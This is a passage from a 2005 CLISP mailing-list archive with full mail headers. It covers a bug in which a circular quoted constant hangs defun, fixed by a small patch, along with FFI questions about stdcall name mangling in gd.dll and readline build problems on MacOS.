#1=(many . #1#))) > (setq a (clisp-bug)) > (subseq a 0 7)) (setq *print-circle* t) -- Sam Steingold (http://www.podval.org/~sds) running w2k A PC without Windows is like ice cream without ketchup. From Devon@Jovi.Net Tue Jun 28 13:39:34 2005 Received: from [10.3.1.92] (helo=sc8-sf-mx2-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DnMrl-0008Ul-Ug for clisp-list@lists.sourceforge.net; Tue, 28 Jun 2005 13:39:33 -0700 Received: from grant.org ([206.190.173.18]) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1DnMrk-0007au-IW for clisp-list@lists.sourceforge.net; Tue, 28 Jun 2005 13:39:34 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id j5SKdDlD084989 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 28 Jun 2005 16:39:14 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id j5SKdD0s084986; Tue, 28 Jun 2005 16:39:13 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200506282039.j5SKdD0s084986@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon@Jovi.Net To: Devon Sean McCullough CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Tue, 28 Jun 2005 16:29:17 -0400) Subject: Re: [clisp-list] Re: circular constant hangs defun References: <200506281958.j5SJwTUR026555@grant.org> X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00, NO_REAL_NAME autolearn=ham version=3.0.4 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Tue, 28 Jun 2005 16:39:20 -0400 (EDT) X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 28 13:40:21 2005 X-Original-Date: Tue, 28 Jun 2005 16:39:13 -0400 (EDT) Defun still hangs. [1]> (setq *print-circle* t) T [2]> (defun clisp-bug () '(one two three . #1=(many . #1#))) Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net, Devon Sean McCullough X-Original-Date: Tue, 28 Jun 2005 16:29:17 -0400 Date: Tue, 28 Jun 2005 16:29:17 -0400 > * Devon Sean McCullough [2005-06-28 15:58:29 -0400]: > > [1]> (progn > (defun clisp-bug () '(one two three . #1=(many . #1#))) > (setq a (clisp-bug)) > (subseq a 0 7)) (setq *print-circle* t) -- Sam Steingold (http://www.podval.org/~sds) running w2k A PC without Windows is like ice cream without ketchup. ------------------------------------------------------- SF.Net email is sponsored by: Discover Easy Linux Migration Strategies from IBM. Find simple to follow Roadmaps, straightforward articles, informative Webcasts and more! Get everything you need to get up to speed, fast. http://ads.osdn.com/?ad_id=7477&alloc_id=16492&op=click _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/clisp-list From sds@gnu.org Tue Jun 28 14:34:33 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DnNiz-0002jA-2Z for clisp-list@lists.sourceforge.net; Tue, 28 Jun 2005 14:34:33 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DnNiw-0002KA-Dq for clisp-list@lists.sourceforge.net; Tue, 28 Jun 2005 14:34:33 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j5SLYLqN014306; Tue, 28 Jun 2005 17:34:21 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Devon@Jovi.Net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200506282039.j5SKdD0s084986@grant.org> (Devon@jovi.net's message of "Tue, 28 Jun 2005 16:39:13 -0400 (EDT)") References: <200506281958.j5SJwTUR026555@grant.org> <200506282039.j5SKdD0s084986@grant.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Devon@Jovi.Net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: circular constant hangs defun Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 28 14:35:19 2005 X-Original-Date: Tue, 28 Jun 2005 17:33:46 -0400 > * [2005-06-28 16:39:13 -0400]: > > Defun still hangs. indeed. please try the appended patch. thanks for your bug report. -- Sam Steingold (http://www.podval.org/~sds) running w2k 186,000 Miles per Second. It's not just a good idea. IT'S THE LAW. --- init.lisp 21 Jun 2005 09:40:12 -0400 1.235 +++ init.lisp 28 Jun 2005 17:29:21 -0400 @@ -1290,6 +1290,7 @@ (let ((form (car body))) (if ; determine, if form contains a (RETURN-FROM name ...) : (and (consp form) + (not (eq (first form) 'quote)) (or (and (eq (first form) 'return-from) ; (RETURN-FROM name ...) (eq (second form) name)) (and (consp (first form)) ; lambda-list From Devon@Jovi.Net Tue Jun 28 17:37:00 2005 Received: from [10.3.1.92] (helo=sc8-sf-mx2-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DnQZX-0004Sj-9d for clisp-list@lists.sourceforge.net; Tue, 28 Jun 2005 17:36:59 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1DnQZW-0006sI-67 for clisp-list@lists.sourceforge.net; Tue, 28 Jun 2005 17:36:59 -0700 Received: from grant.org ([206.190.173.18]) by externalmx-1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DnQZV-0002qy-4L for clisp-list@lists.sourceforge.net; Tue, 28 Jun 2005 17:36:57 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id j5T0aPvN045915 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 28 Jun 2005 20:36:25 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id j5T0aPEL045912; Tue, 28 Jun 2005 20:36:25 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200506290036.j5T0aPEL045912@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net cc: Sam Steingold In-reply-to: (message from Sam Steingold on Tue, 28 Jun 2005 17:33:46 -0400) References: <200506281958.j5SJwTUR026555@grant.org> <200506282039.j5SKdD0s084986@grant.org> X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.4 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Tue, 28 Jun 2005 20:36:35 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: circular constant hangs defun Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 28 17:38:33 2005 X-Original-Date: Tue, 28 Jun 2005 20:36:25 -0400 (EDT) Patch works great, wow you're fast! [1]> (defun clisp-bug () '(one two three . #1=(many . #1#))) CLISP-BUG [2]> (subseq (clisp-bug) 0 7) (ONE TWO THREE MANY MANY MANY MANY) [3]> (quit) Peace --Devon PS: Any chance to fix install on systems with no readline? I can't tell if it's config or makemake or what but MacOS simply fails, I have to run it by $ clisp -B /usr/local/lib/clisp -M ~/CLISP/clisp-2.33.2/try-to-disable-readline-and-sigsegv/lispinit.mem because installation croaks. From lisp-clisp-list@m.gmane.org Wed Jun 29 00:11:36 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DnWjQ-0006Kb-Lu for clisp-list@lists.sourceforge.net; Wed, 29 Jun 2005 00:11:36 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DnWjO-0000QJ-Ta for clisp-list@lists.sourceforge.net; Wed, 29 Jun 2005 00:11:36 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1DnWc1-00023x-BP for clisp-list@lists.sourceforge.net; Wed, 29 Jun 2005 09:03:57 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 29 Jun 2005 09:03:57 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 29 Jun 2005 09:03:57 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 44 Message-ID: References: <5F9130612D07074EB0A0CE7E69FD7A0304BC249B@S4DE8PSAAGS.blf.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:e3c1juD6SiwI++HYU8Ax+Hkrg9E= X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: stdcall and Boutell gd.dll (was: Re: clisp - link) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 29 00:12:29 2005 X-Original-Date: Wed, 29 Jun 2005 00:10:59 -0700 "Hoehle, Joerg-Cyril" writes: > Hi, > >> (def-c-var gdMaxColors (:type int)) >>But it seems I have to refer to the dll somehow while creating this variable. > a) Indeed, you need to add (:library "gd...dll") here. Thanks. > > b) "Incomplete FFI type INT is not allowed here." > Did you get past that error? It looks like a package problem. > Maybe (not (eq 'int 'ffi:int)) ? > The above error is equal to "unknown FFI type `INT'", which is surprising, > since the FFI knows about ffi:int. Yes, I did. I think it was throwing a wrong error. > > Since you're trying and using GD, do you know about Carlos Ungil's port of cl-gd to CLISP (i.e. using the CLISP FFI instead of UFFI)? (I've never tried it myself, so I don't know whether this only works on UNIX). > Thanks. The reason why I am doing this is because I want to learn how to use ffi, also his port doesn't contains the functions which I want. >> (:return-type (ffi:c-ptr gdImage)) > This is likely wrong. Please use either (c-pointer gdImage) or c-pointer. It's unlikely that you want to convert the foreign pointer to a Lisp structure, which is what C-PTR does. I'd bet you need to keep the original pointer, so as to be able to pass this handle (aka. proxy or reference) to other gd functions. The problem here is that I am using clisp 2.33.1 and it does not have c-pointer, I don't think that even 2.33.2 does. I would like to use a much more current version of clisp but I don't have VC++ to compile it (and believe me there beta version which they give for free, is the worst IDE/compiler, half of the things do not work, installation takes huge amount of time, I could not find assembler). Also, is there any tool utility which can show me the mangled names in the dll? -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.htm Great wits are sure to madness near allied, And thin partitions do their bounds divide. (John Dryden, Absalom and Achitophel, 1681) From lisp-clisp-list@m.gmane.org Wed Jun 29 00:17:46 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DnWpO-0006eY-5x for clisp-list@lists.sourceforge.net; Wed, 29 Jun 2005 00:17:46 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DnWpN-0008Et-Ks for clisp-list@lists.sourceforge.net; Wed, 29 Jun 2005 00:17:46 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1DnWiF-000334-VG for clisp-list@lists.sourceforge.net; Wed, 29 Jun 2005 09:10:23 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 29 Jun 2005 09:10:23 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 29 Jun 2005 09:10:23 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 51 Message-ID: References: <5F9130612D07074EB0A0CE7E69FD7A0304BC2585@S4DE8PSAAGS.blf.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:UbLgU5d8rKy+gTbmSccG23OTJxM= X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: AW: stdcall and Boutell gd.dll (was: Re: clisp - link) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 29 00:18:14 2005 X-Original-Date: Wed, 29 Jun 2005 00:17:23 -0700 "Hoehle, Joerg-Cyril" writes: > Hi, > > o The ilbrary does not seem to contain gdImageCreate but rather gdImageCreate@8. > I.e. stdcall seems to cause some name mangling, adding the number of bytes passed on the stack to the name. > > o def-call-out does not accept (:name "foo@8") > ERROR "The name "gdImageCreate@8" is not a valid C identifier" > but the lower-level functions do. Use macroexpand to see which I mean I would suggest that @ should be accepted in identifier names. > > The most important line is (using :stdc-stdcall). > (SYSTEM::%PUTD 'GD-IMAGE-CREATE > (FFI::FOREIGN-LIBRARY-FUNCTION '"gdImageCreate@8" ; added @8 by hand > (FFI::FOREIGN-LIBRARY "bgd.dll") NIL > #(C-FUNCTION C-POINTER #(INT 0 INT 0) 33792))) I tried doing macroexpand on (macroexpand '(def-call-out gdImageCreateFromPng (:name "gdImageCreateFromPng") (:library "bgd.dll") (:language :STDC-STDCALL) (:arguments (c-ptr ffi:char)) (:return-type (c-ptr gdImage)))) but when I am using clisp and slime, it just hangs, and on the console it gives me the error *** - Invalid option in (DEF-CALL-OUT GDIMAGECREATEFROMPNG (:NAME "gdImageCreateFromPng") (:LIBRARY "bgd.dll") (:LANGUAGE :STDC-STDCALL) (:ARGUMENTS (C-PTR CHAR)) L (:RETURN-TYPE (C-PTR GDIMAGE))): L Which I don't understand. Also this particular function takes FILE* as an argument, how do I define that in clisp? Thanks. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.htm Great wits are sure to madness near allied, And thin partitions do their bounds divide. (John Dryden, Absalom and Achitophel, 1681) From sds@gnu.org Wed Jun 29 06:25:38 2005 Received: from [10.3.1.92] (helo=sc8-sf-mx2-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DncZO-0007BQ-Cy for clisp-list@lists.sourceforge.net; Wed, 29 Jun 2005 06:25:38 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1DncZL-0005u1-TE for clisp-list@lists.sourceforge.net; Wed, 29 Jun 2005 06:25:38 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j5TDPI63013426; Wed, 29 Jun 2005 09:25:23 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Surendra Singhi Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Surendra Singhi's message of "Wed, 29 Jun 2005 00:10:59 -0700") References: <5F9130612D07074EB0A0CE7E69FD7A0304BC249B@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Surendra Singhi Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: stdcall and Boutell gd.dll Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 29 06:26:03 2005 X-Original-Date: Wed, 29 Jun 2005 09:24:39 -0400 > * Surendra Singhi [2005-06-29 00:10:59 -0700]: > > I would like to use a much more current version of clisp but I don't > have VC++ to compile it get cygwin and do $ CC="gcc -mno-cygwin" ./configure ... to get a pure w32 clisp build. or just get -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp is a way of life. C is a way of death. From sds@gnu.org Wed Jun 29 06:35:11 2005 Received: from [10.3.1.91] (helo=sc8-sf-mx1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dncic-0007eP-TK for clisp-list@lists.sourceforge.net; Wed, 29 Jun 2005 06:35:10 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1DnciZ-0004Ln-AS for clisp-list@lists.sourceforge.net; Wed, 29 Jun 2005 06:35:11 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j5TDYe6g014963; Wed, 29 Jun 2005 09:34:45 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200506290036.j5T0aPEL045912@grant.org> (Devon Sean McCullough's message of "Tue, 28 Jun 2005 20:36:25 -0400 (EDT)") References: <200506281958.j5SJwTUR026555@grant.org> <200506282039.j5SKdD0s084986@grant.org> <200506290036.j5T0aPEL045912@grant.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: circular constant hangs defun Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 29 06:36:03 2005 X-Original-Date: Wed, 29 Jun 2005 09:34:02 -0400 > * Devon Sean McCullough [2005-06-28 20:36:25 -0400]: > > Patch works great, wow you're fast! good! thanks for testing the patch! > PS: Any chance to fix install on systems with no readline? > I can't tell if it's config or makemake or what > but MacOS simply fails, I have to run it by > $ clisp -B /usr/local/lib/clisp -M ~/CLISP/clisp-2.33.2/try-to-disable-readline-and-sigsegv/lispinit.mem > because installation croaks. 1. sigsegv is crucial for generational GC. it pays to ensure that it works. 2. if your readline is broken but configure does not detect that, you should run the top-level configure like this: $ ./configure --with-noreadline --build build-no-readline 3. it would be very nice if you could figure out _why_ configure does not detect that readline is broken. see . Specifically, you wrote: undefined symbols in streams.c rl_basic_quote_characters rl_gnu_readline_p undefined symbols at link time _META _history_list _rl_basic_quote_characters _rl_gnu_readline_p _rl_named_function _rl_refresh_line _rl_variable_bind could you please look at your readline and see what its version is? maybe you have several readline installations? (the broken one that comes with MacOS and a newer one that comes with the development tools) PS. Please make sure that your mailer respects "Reply-to:" and "Mail-Copies-To:" headers. Thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Heck is a place for people who don't believe in gosh. From daniele.innocenti@gmail.com Thu Jun 30 06:13:34 2005 Received: from [10.3.1.92] (helo=sc8-sf-mx2-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DnyrF-0003X0-QT for clisp-list@lists.sourceforge.net; Thu, 30 Jun 2005 06:13:33 -0700 Received: from wproxy.gmail.com ([64.233.184.206]) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1DnyrE-0003SI-CX for clisp-list@lists.sourceforge.net; Thu, 30 Jun 2005 06:13:33 -0700 Received: by wproxy.gmail.com with SMTP id i1so90625wra for ; Thu, 30 Jun 2005 06:13:25 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=OUGh9Kve1HhGUbyImC3JecJdDh8uSI4yvlnO93IP7VYxKLJFWk1CXhUT94L72za3B0BHc2kWr/YeFVM4HMx5LeNYgwqfBfGa6tpZeyLxKj7FSOcBu9ZqJeU4Cd0mfvCGeHgF/UQNiVgYSnVPofHGXBAJvJK83UlhBUsa31xQyCc= Received: by 10.54.57.78 with SMTP id 